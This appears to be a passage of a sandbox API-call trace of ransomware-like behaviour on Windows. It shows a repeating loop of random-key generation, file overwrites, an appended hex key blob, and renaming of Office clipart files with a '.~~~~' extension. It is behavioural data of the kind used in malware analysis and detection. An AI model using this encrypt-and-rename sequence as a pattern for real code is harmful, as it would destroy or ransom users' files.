	[0097.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293b068 | out: hHeap=0x300000) returned 1
	[0097.046] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.046] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.046] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.046] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.046] CloseHandle (hObject=0x128) returned 1
	[0097.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.047] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.~~~~")) returned 1
	[0097.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.060] GetLastError () returned 0x0
	[0097.060] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.062] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.062] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.062] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21705194393) returned 1
	[0097.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3911390, dwHighDateTime=0x1d60e1e)) 
	[0097.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28406f8
	[0097.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28406f8 | out: hHeap=0x300000) returned 1
	[0097.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843000
	[0097.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.063] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.063] GetLastError () returned 0x0
	[0097.063] GetLastError () returned 0x0
	[0097.063] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.063] GetLastError () returned 0x0
	[0097.064] GetLastError () returned 0x0
	[0097.082] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffec9c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.082] WriteFile (in: hFile=0x128, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x1364, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x24dfec0*=0x1364, lpOverlapped=0x0) returned 1
	[0097.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0097.084] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.084] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.084] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.084] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.084] CloseHandle (hObject=0x128) returned 1
	[0097.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.085] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.~~~~")) returned 1
	[0097.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.086] GetLastError () returned 0x0
	[0097.086] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.087] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.087] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.088] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21707772812) returned 1
	[0097.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa395d650, dwHighDateTime=0x1d60e1e)) 
	[0097.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840768
	[0097.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840768 | out: hHeap=0x300000) returned 1
	[0097.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843428
	[0097.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.088] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.088] GetLastError () returned 0x0
	[0097.089] GetLastError () returned 0x0
	[0097.089] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.089] GetLastError () returned 0x0
	[0097.089] GetLastError () returned 0x0
	[0097.114] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe908, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.114] WriteFile (in: hFile=0x128, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x16f8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x24dfec0*=0x16f8, lpOverlapped=0x0) returned 1
	[0097.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0097.115] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.115] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.115] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.115] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.115] CloseHandle (hObject=0x128) returned 1
	[0097.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.115] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.~~~~")) returned 1
	[0097.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.300] GetLastError () returned 0x0
	[0097.300] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.301] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.301] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.301] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21729153256) returned 1
	[0097.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3b4c830, dwHighDateTime=0x1d60e1e)) 
	[0097.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840960
	[0097.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840960 | out: hHeap=0x300000) returned 1
	[0097.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843558
	[0097.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.302] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.302] GetLastError () returned 0x0
	[0097.302] GetLastError () returned 0x0
	[0097.302] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.302] GetLastError () returned 0x0
	[0097.302] GetLastError () returned 0x0
	[0097.317] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb6d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.317] WriteFile (in: hFile=0x128, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x4928, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x4928, lpOverlapped=0x0) returned 1
	[0097.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0097.320] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.320] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.321] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.321] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.321] CloseHandle (hObject=0x128) returned 1
	[0097.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.321] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.~~~~")) returned 1
	[0097.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.349] GetLastError () returned 0x0
	[0097.349] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.350] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.350] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.350] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21734000610) returned 1
	[0097.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3bbec50, dwHighDateTime=0x1d60e1e)) 
	[0097.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840ab0
	[0097.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840ab0 | out: hHeap=0x300000) returned 1
	[0097.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843ab0
	[0097.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.350] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.351] GetLastError () returned 0x0
	[0097.351] GetLastError () returned 0x0
	[0097.351] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.351] GetLastError () returned 0x0
	[0097.351] GetLastError () returned 0x0
	[0097.359] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffbc4c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.360] WriteFile (in: hFile=0x128, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x43b4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x43b4, lpOverlapped=0x0) returned 1
	[0097.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0097.361] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.361] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.361] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.361] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.361] CloseHandle (hObject=0x128) returned 1
	[0097.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.361] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.~~~~")) returned 1
	[0097.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.362] GetLastError () returned 0x0
	[0097.362] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.363] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.364] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.364] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21735386550) returned 1
	[0097.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3be4db0, dwHighDateTime=0x1d60e1e)) 
	[0097.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840b20
	[0097.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840b20 | out: hHeap=0x300000) returned 1
	[0097.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7d10
	[0097.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.364] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.365] GetLastError () returned 0x0
	[0097.365] GetLastError () returned 0x0
	[0097.365] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.365] GetLastError () returned 0x0
	[0097.365] GetLastError () returned 0x0
	[0097.369] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffabd4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
